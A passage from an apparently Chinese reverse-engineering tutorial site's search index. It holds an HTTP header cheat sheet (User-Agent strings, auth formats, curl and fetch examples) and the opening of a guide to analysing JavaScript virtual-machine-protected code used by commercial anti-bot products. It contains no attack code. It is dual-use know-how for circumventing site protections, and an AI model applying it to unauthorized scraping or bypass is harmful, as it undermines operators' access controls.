","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:4:1","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#请求响应通用"},{"categories":null,"collections":null,"content":"自定义头示例 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:5:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#自定义头示例"},{"categories":null,"collections":null,"content":"常见的自定义业务头 # 版本控制 X-API-Version: 1.0 X-Client-Version: 2.3.1 # 设备信息 X-Device-ID: 1234567890abcdef X-Device-Type: mobile X-Platform: ios X-OS-Version: 14.5 # 追踪和调试 X-Request-ID: uuid-1234-5678 X-Trace-ID: trace_abc123 X-Debug: true # 地理位置 X-Geo-Country: CN X-Geo-City: Beijing X-Client-IP: 1.2.3.4 # A/B测试 X-Experiment: variant_b X-Feature-Flag: new_ui_enabled ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:5:1","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#常见的自定义业务头"},{"categories":null,"collections":null,"content":"User-Agent 示例 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:6:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#user-agent-示例"},{"categories":null,"collections":null,"content":"桌面浏览器 # Chrome (Windows) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 # Firefox (Windows) Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 # Edge (Windows) Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 # Safari (macOS) Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:6:1","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#桌面浏览器"},{"categories":null,"collections":null,"content":"移动浏览器 # iPhone Safari Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1 # Android Chrome Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36 # iPad Safari Mozilla/5.0 (iPad; CPU OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:6:2","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#移动浏览器"},{"categories":null,"collections":null,"content":"爬虫/工具 # Python Requests python-requests/2.31.0 # Postman PostmanRuntime/7.36.0 # cURL curl/7.68.0 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:6:3","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#爬虫工具"},{"categories":null,"collections":null,"content":"Authorization 方式 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:7:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#authorization-方式"},{"categories":null,"collections":null,"content":"Bearer Token Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:7:1","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#bearer-token"},{"categories":null,"collections":null,"content":"Basic Auth Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ= # (username:password 的 Base64编码) ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:7:2","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#basic-auth"},{"categories":null,"collections":null,"content":"Digest Auth Authorization: Digest username=\"user\", realm=\"example.com\", nonce=\"abc123\", uri=\"/api\", response=\"def456\" ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:7:3","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#digest-auth"},{"categories":null,"collections":null,"content":"API Key Authorization: ApiKey your_api_key_here # 或 X-API-Key: your_api_key_here ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:7:4","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#api-key"},{"categories":null,"collections":null,"content":"Cookie 属性 Set-Cookie: session_id=abc123; Domain=example.com; Path=/; Expires=Wed, 21 Oct 2025 07:28:00 GMT; Max-Age=3600; Secure; HttpOnly; SameSite=Strict 属性说明: 属性 说明 Domain Cookie 的作用域 Path Cookie 的作用路径 Expires 过期时间（绝对时间） Max-Age 存活时间（秒） Secure 仅 HTTPS 传输 HttpOnly 禁止 JavaScript 访问 SameSite 跨站请求策略 (Strict/Lax/None) ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:8:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#cookie-属性"},{"categories":null,"collections":null,"content":"Cache-Control 指令 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:9:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#cache-control-指令"},{"categories":null,"collections":null,"content":"请求指令 Cache-Control: no-cache # 不使用缓存 Cache-Control: no-store # 不存储缓存 Cache-Control: max-age=0 # 立即过期 Cache-Control: max-stale=3600 # 可接受过期的缓存 Cache-Control: min-fresh=600 # 必须新鲜的缓存 Cache-Control: only-if-cached # 只使用缓存 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:9:1","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#请求指令"},{"categories":null,"collections":null,"content":"响应指令 Cache-Control: public # 可被任何缓存存储 Cache-Control: private # 只能被浏览器缓存 Cache-Control: no-cache # 需要验证 Cache-Control: no-store # 不能缓存 Cache-Control: max-age=3600 # 缓存3600秒 Cache-Control: s-maxage=3600 # 共享缓存时间 Cache-Control: must-revalidate # 过期后必须验证 Cache-Control: proxy-revalidate # 代理缓存需验证 Cache-Control: immutable # 不会改变 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:9:2","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#响应指令"},{"categories":null,"collections":null,"content":"Python 设置 Headers import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/json', 'Authorization': 'Bearer your_token_here', 'X-Requested-With': 'XMLHttpRequest', 'Referer': 'https://example.com', 'Origin': 'https://example.com' } response = requests.get('https://api.example.com/data', headers=headers) ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:10:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#python-设置-headers"},{"categories":null,"collections":null,"content":"JavaScript 设置 Headers // Fetch API fetch(\"https://api.example.com/data\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\", Authorization: \"Bearer your_token_here\", \"X-Custom-Header\": \"custom_value\", }, body: JSON.stringify({ key: \"value\" }), }); // XHR const xhr = new XMLHttpRequest(); xhr.open(\"POST\", \"https://api.example.com/data\"); xhr.setRequestHeader(\"Content-Type\", \"application/json\"); xhr.setRequestHeader(\"Authorization\", \"Bearer your_token_here\"); xhr.send(JSON.stringify({ key: \"value\" })); ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:11:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#javascript-设置-headers"},{"categories":null,"collections":null,"content":"cURL 设置 Headers curl https://api.example.com/data \\ -H \"User-Agent: Mozilla/5.0...\" \\ -H \"Accept: application/json\" \\ -H \"Content-Type: application/json\" \\ -H \"Authorization: Bearer your_token_here\" \\ -H \"X-Custom-Header: custom_value\" \\ -d '{\"key\":\"value\"}' ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:12:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#curl-设置-headers"},{"categories":null,"collections":null,"content":"常见状态码对照 状态码 说明 200 OK - 成功 201 Created - 已创建 204 No Content - 无内容 301 Moved Permanently - 永久重定向 302 Found - 临时重定向 304 Not Modified - 未修改（缓存有效） 400 Bad Request - 请求错误 401 Unauthorized - 未授权 403 Forbidden - 禁止访问 404 Not Found - 未找到 405 Method Not Allowed - 方法不允许 429 Too Many Requests - 请求过多 500 Internal Server Error - 服务器错误 502 Bad Gateway - 网关错误 503 Service Unavailable - 服务不可用 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:13:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#常见状态码对照"},{"categories":null,"collections":null,"content":"相关章节 HTTP/HTTPS 协议 API 逆向 常用命令 ","date":"2025-05-14","objectID":"/reverse_engineering/web/08-cheat-sheets/http_headers/:14:0","tags":["Web","签名验证","代理池","速查表","视频App","参考"],"title":"HTTP 头速查表","uri":"/reverse_engineering/web/08-cheat-sheets/http_headers/#相关章节"},{"categories":null,"collections":null,"content":"JavaScript VMP 逆向工程 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： JS OB 混淆分析 - 理解 JavaScript 混淆的基本原理 AST 与编译原理 - 理解抽象语法树和字节码执行 JavaScript VMP（虚拟机保护）是一种高级的代码保护技术，它将原始的 JavaScript 代码转换成一种自定义的、基于虚拟机的字节码。然后，在运行时，一个内置的解释器（或虚拟机）会执行这些字节码。这种方式极大地增加了逆向工程的难度，因为它隐藏了原始的代码逻辑和结构。 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:0:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#javascript-vmp-逆向工程"},{"categories":null,"collections":null,"content":"JSVMP 原理 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:1:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#jsvmp-原理"},{"categories":null,"collections":null,"content":"什么是 JavaScript 虚拟机保护 JSVMP 的核心思想是 “把 JavaScript 当作汇编来写”。传统的 JavaScript 混淆（如 OB 混淆）只是对源码做变形——变量重命名、控制流平坦化、字符串加密等，但代码结构仍然是标准 JavaScript，可以用 AST 工具还原。JSVMP 则彻底改变了执行模型：它将原始 JS 编译为一套 私有字节码，再用一个 JavaScript 编写的 虚拟机解释器 在运行时逐条解释执行。 原始 JavaScript 代码 | v +-----------+ | JS 编译器 | (离线阶段, 在构建/发布时执行) +-----------+ | v +-------------------+ | 私有字节码 (opcode)| 一个数字/字符串数组 +-------------------+ | v +-----------------+ | JS 虚拟机解释器 | (运行时, 在浏览器中执行) +-----------------+ | v 执行结果 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:1:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#什么是-javascript-虚拟机保护"},{"categories":null,"collections":null,"content":"与传统混淆的对比 特性 OB 混淆 JSVMP 执行模型 标准 JS 引擎直接执行 自定义 VM 解释执行 代码结构 仍是合法 JS 语法 字节码 + 解释器 AST 还原 可行（Babel 插件） 几乎不可行 逆向难度 中等 非常高 性能影响 较小 较大（解释执行开销） 代码体积 中等增长 较大增长 典型代表 javascript-obfuscator 某数、瑞数、Jsvmp.com ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:1:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#与传统混淆的对比"},{"categories":null,"collections":null,"content":"编译流程详解 JSVMP 的编译过程模拟了真实编译器的工作方式： 源码: function sign(data) { return md5(data + secret); } | v [1] 词法分析 (Lexer) | v Token 流: [FUNCTION, IDENT(\"sign\"), LPAREN, ...] | v [2] 语法分析 (Parser) | v AST (抽象语法树) | v [3] 字节码生成 (Code Generator) | v 字节码: [1, 0, 5, 2, 0, 1, 12, 3, 0, 7, 2, 1, 14, ...] | v [4] 打包 (Bundler) | v 最终产物: VM 解释器代码 + 字节码数组 生成的字节码通常被编码为一个大型数组： // 编译后的字节码示例 (已简化) var _bytecode = [1,0,5,2,0,1,12,3,0,7,2,1,14,0,3,6,15]; // 每个数字代表一条指令或操作数 // 1 = PUSH_LOCAL, 0 = 变量索引0 // 5 = PUSH_CONST, 2 = 常量索引2 // 12 = BINARY_ADD // ... ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:1:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#编译流程详解"},{"categories":null,"collections":null,"content":"JSVMP 架构 JSVMP 虚拟机在架构上与真实 CPU 非常相似，包含以下核心组件： ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:2:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#jsvmp-架构"},{"categories":null,"collections":null,"content":"整体架构图 +------------------------------------------------------------------+ | JSVMP 虚拟机 | | | | +------------------+ +-----------------------------+ | | | 字节码数组 | | 调度器 (Dispatcher) | | | | [1,0,5,2,12,..] | | | | | +--------+---------+ | while (true) { | | | | | opcode = fetch(PC++); | | | v | switch (opcode) { | | | +------------------+ | case 1: handler1(); | | | | 程序计数器 (PC) |---\u003e| case 2: handler2(); | | | | PC = 0 | | case 3: handler3(); | | | +------------------+ | ... | | | | } | | | +------------------+ | } | | | | 虚拟寄存器 | +-----------------------------+ | | | r0, r1, r2, ... | | | +------------------+ +-----------------------------+ | | | Opcode Handlers | | | +------------------+ | | | | | 虚拟栈 (Stack) | | handler1: PUSH(val) | | | | [..., val, val] | | handler2: POP() -\u003e reg | | | +------------------+ | handler3: ADD(a, b) | | | | handler4: CALL(fn, args) | | | +------------------+ | handler5: JMP(addr) | | | | 作用域链 | | ... | | | | [global, local] | +-----------------------------+ | | +------------------+ | +------------------------------------------------------------------+ ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:2:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#整体架构图"},{"categories":null,"collections":null,"content":"核心组件说明 1. 字节码数组（Bytecode Array） 字节码数组是 VM 的 “程序”。它以紧凑的数字序列存储所有指令和操作数。 // 典型的字节码数组结构 var G = [ // 指令区 1, 0, // PUSH_LOCAL 0 5, 3, // PUSH_CONST 3 12, // ADD 2, 1, // STORE_LOCAL 1 // 常量池 (有时混在一起, 有时独立存储) // ... ]; 2. 程序计数器（PC） PC 指向当前要执行的字节码位置。每执行一条指令后，PC 递增到下一条指令的起始位置。跳转指令会直接修改 PC。 3. 虚拟栈（Virtual Stack） VM 使用栈来传递操作数和存储中间结果。这是一个典型的 基于栈的虚拟机 架构（类似 JVM、Python VM）。 // 栈操作示例 // 计算 3 + 5: // PUSH 3 -\u003e stack: [3] // PUSH 5 -\u003e stack: [3, 5] // ADD -\u003e pop 5, pop 3, push 8 -\u003e stack: [8] 4. 虚拟寄存器（Virtual Registers） 部分 JSVMP 实现采用寄存器式或混合式架构，使用一组变量模拟寄存器来存储局部变量和临时值。 // 寄存器式示例 var regs = new Array(16); // 16 个虚拟寄存器 regs[0] = localVar0; regs[1] = localVar1; // ... 5. 调度器（Dispatcher Loop） 调度器是 VM 的心脏，负责取指令、解码、派发到对应的 handler。 // 最典型的调度器结构 function vm_exec(bytecode) { var stack = []; var pc = 0; var regs = {}; while (true) { var opcode = bytecode[pc++]; switch (opcode) { case 0: // HALT return stack.pop(); case 1: // PUSH_CONST var idx = bytecode[pc++]; stack.push(constants[idx]); break; case 2: // PUSH_LOCAL var slot = bytecode[pc++]; stack.push(regs[slot]); break; case 3: // STORE_LOCAL var slot = bytecode[pc++]; regs[slot] = stack.pop(); break; case 4: // ADD var b = stack.pop(); var a = stack.pop(); stack.push(a + b); break; // ... 更多 handler } } } ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:2:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#核心组件说明"},{"categories":null,"collections":null,"content":"识别 JSVMP 在分析一段混淆代码时，识别它是否使用了 JSVMP 是第一步。以下是典型的识别特征： ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:3:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#识别-jsvmp"},{"categories":null,"collections":null,"content":"特征 1：巨大的 while-true + switch 结构 // JSVMP 的标志性模式 while (true) { switch (_0x3a7b[_0x1c++]) { case 0: // ... break; case 1: // ... break; // 几十甚至上百个 case case 47: // ... break; } } 注意：控制流平坦化（CFF）也有类似结构，但 CFF 的 case 数通常较少（与原始代码块数一致），且 case 内代码量较大。JSVMP 的 case 数非常多，每个 case 内代码非常短（通常只有 1-3 行），因为它们只执行一个原子操作。 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:3:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#特征-1巨大的-while-true--switch-结构"},{"categories":null,"collections":null,"content":"特征 2：大型数字/字符串数组 // 字节码数组 — 大量数字 var _0xab3f = [1,0,5,2,0,1,12,3,0,7,2,1,14,0,3,6,15,1,0,5, 2,0,1,12,3,0,7,2,1,14,0,3,6,15,1,0,5,2,0,1,12,3,0,7,2, // ... 几千甚至上万个数字 ]; ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:3:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#特征-2大型数字字符串数组"},{"categories":null,"collections":null,"content":"特征 3：栈操作模式 代码中频繁出现 push、pop 操作或数组索引递增模式： // 常见的栈操作变体 _0x4f2a.push(_0x1b3c); // 直接 push _0x1b3c = _0x4f2a.pop(); // 直接 pop _0x4f2a[++_0x5e7d] = _0x1b3c; // 通过索引模拟 push _0x1b3c = _0x4f2a[_0x5e7d--]; // 通过索引模拟 pop ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:3:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#特征-3栈操作模式"},{"categories":null,"collections":null,"content":"特征 4：PC 递增模式 程序计数器变量不断递增来读取操作数： var _op = _0xab3f[_pc++]; // 取 opcode var _arg = _0xab3f[_pc++]; // 取操作数 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:3:4","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#特征-4pc-递增模式"},{"categories":null,"collections":null,"content":"快速判别流程 发现大型混淆 JS 文件 | v 是否有大型数字数组 (\u003e100 个元素)? --否--\u003e 可能是 OB 混淆或 CFF | 是 v 是否有 while(true) + switch? --否--\u003e 可能是其他保护 | 是 v switch 的 case 数量多且每个 case 很短? --否--\u003e 可能是 CFF | 是 v 是否有明显的栈操作 (push/pop)? --否--\u003e 可能是寄存器式 VMP | 是 v 确认为 JSVMP (基于栈) ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:3:5","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#快速判别流程"},{"categories":null,"collections":null,"content":"分析方法论 逆向 JSVMP 是一个系统性工程，需要结合静态分析和动态分析。以下是推荐的分步方法论： ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:4:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#分析方法论"},{"categories":null,"collections":null,"content":"总体流程 [1] 定位 VM 入口 | v [2] 识别核心组件 (字节码数组, 调度器, 栈, PC) | v [3] 标注所有 Opcode Handler | v [4] 动态跟踪: 记录执行轨迹 (PC, opcode, stack) | v [5] 逐个分析 Handler 功能 | v [6] 编写反汇编器 / 反编译器 | v [7] 还原关键逻辑 ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:4:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#总体流程"},{"categories":null,"collections":null,"content":"步骤 1：定位 VM 入口 VM 入口通常是一个接收字节码数组（或其索引）并启动解释循环的函数。搜索以下模式： // 模式 A: 直接传入字节码 function _0x2b3c(_bytecodes) { var _stack = []; var _pc = 0; while (true) { /* ... */ } } // 模式 B: 从全局数组中取字节码 function _0x2b3c(_startPC) { _pc = _startPC; while (true) { switch (_G[_pc++]) { /* ... */ } } } ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:4:2","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#步骤-1定位-vm-入口"},{"categories":null,"collections":null,"content":"步骤 2：识别核心组件 定位到 VM 入口后，在闭包或函数作用域内寻找以下变量： 组件 识别特征 示例 字节码数组 大型数组，被 PC 索引访问 _G[_pc++] 程序计数器 不断递增的数值变量 _pc++, _idx++ 虚拟栈 有 push/pop 操作的数组 _s.push(...), _s.pop() 寄存器/局部变量 通过索引访问的数组或对象 _r[0], _locals[n] 作用域 存储外部引用的对象 _scope, _env ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:4:3","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#步骤-2识别核心组件"},{"categories":null,"collections":null,"content":"步骤 3：标注 Opcode Handler 对调度器 switch 中的每个 case 添加注释，记录其功能。这是最耗时但也最关键的步骤。 switch (opcode) { case 0: // HALT - 终止执行, 返回栈顶 return _stack[_sp]; case 1: // PUSH_CONST - 压入常量 _stack[++_sp] = _G[_pc++]; break; case 2: // PUSH_LOCAL - 压入局部变量 _stack[++_sp] = _regs[_G[_pc++]]; break; case 3: // STORE_LOCAL - 存储到局部变量 _regs[_G[_pc++]] = _stack[_sp--]; break; case 4: // ADD - 加法 _sp--; _stack[_sp] = _stack[_sp] + _stack[_sp + 1]; break; // ... 逐个标注 } ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:4:4","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#步骤-3标注-opcode-handler"},{"categories":null,"collections":null,"content":"步骤 4：动态跟踪 在调度器循环中插入日志代码，记录每条指令的执行情况： // 在 switch 之前插入 console.log( 'PC:', _pc - 1, 'OP:', opcode, 'Stack:', JSON.stringify(_stack.slice(0, _sp + 1)), 'Regs:', JSON.stringify(_regs) ); ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:4:5","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#步骤-4动态跟踪"},{"categories":null,"collections":null,"content":"Opcode Handler 分析 以下是 JSVMP 中最常见的 Opcode 类型及其识别方法： ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:5:0","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#opcode-handler-分析"},{"categories":null,"collections":null,"content":"常见 Opcode 分类表 类别 Opcode 描述 典型实现 栈操作 PUSH_CONST 压入常量 s[++sp] = G[pc++] PUSH_LOCAL 压入局部变量 s[++sp] = r[G[pc++]] POP 弹出栈顶 sp-- DUP 复制栈顶 s[sp+1] = s[sp]; sp++ 存储 STORE_LOCAL 保存到局部变量 r[G[pc++]] = s[sp--] STORE_GLOBAL 保存到全局 global[k] = s[sp--] 算术 ADD 加法 s[sp-1] = s[sp-1] + s[sp]; sp-- SUB 减法 s[sp-1] = s[sp-1] - s[sp]; sp-- MUL 乘法 s[sp-1] = s[sp-1] * s[sp]; sp-- MOD 取模 s[sp-1] = s[sp-1] % s[sp]; sp-- BITAND 按位与 s[sp-1] = s[sp-1] \u0026 s[sp]; sp-- BITOR 按位或 s[sp-1] = s[sp-1] | s[sp]; sp-- BITXOR 按位异或 s[sp-1] = s[sp-1] ^ s[sp]; sp-- SHL 左移 s[sp-1] = s[sp-1] \u003c\u003c s[sp]; sp-- SHR 右移 s[sp-1] = s[sp-1] \u003e\u003e s[sp]; sp-- USHR 无符号右移 s[sp-1] = s[sp-1] \u003e\u003e\u003e s[sp]; sp-- 比较 EQ 等于 s[sp-1] = s[sp-1] == s[sp]; sp-- SEQ 严格等于 s[sp-1] = s[sp-1] === s[sp]; sp-- LT 小于 s[sp-1] = s[sp-1] \u003c s[sp]; sp-- GT 大于 s[sp-1] = s[sp-1] \u003e s[sp]; sp-- 逻辑 NOT 逻辑非 s[sp] = !s[sp] BITNOT 按位取反 s[sp] = ~s[sp] 跳转 JMP 无条件跳转 pc = G[pc] JMP_IF 条件跳转 if(s[sp--]) pc=G[pc]; else pc++ JMP_IFNOT 条件不跳 if(!s[sp--]) pc=G[pc]; else pc++ 函数 CALL 函数调用 s[sp-n] = s[sp-n-1](...args) NEW 构造对象 s[sp-n] = new s[sp-n-1](...args) RETURN 返回 return s[sp] 对象 GET_PROP 获取属性 s[sp-1] = s[sp-1][s[sp]]; sp-- SET_PROP 设置属性 s[sp-2][s[sp-1]] = s[sp]; sp-=3 TYPEOF 类型判断 s[sp] = typeof s[sp] ","date":"2025-05-07","objectID":"/reverse_engineering/android/01-recipes/analysis/js_vmp/:5:1","tags":["Ghidra","逆向分析","Frida","加密分析","Hook","脱壳"],"title":"JavaScript VMP 逆向工程","uri":"/reverse_engineering/android/01-recipes/analysis/js_vmp/#常见-opcode-分类表"},{"categories":null,"collections":null,"content":"识别 Handler 的技巧 技巧 1：观察栈指针变化 弹出 2 个, 压入 1 个 (sp--) -\u003e 二元运算 (ADD, SUB, EQ, ...) 弹出 0 个, 压入 1 个 (sp++) -\u003e PUSH 类操作 弹出 1 个, 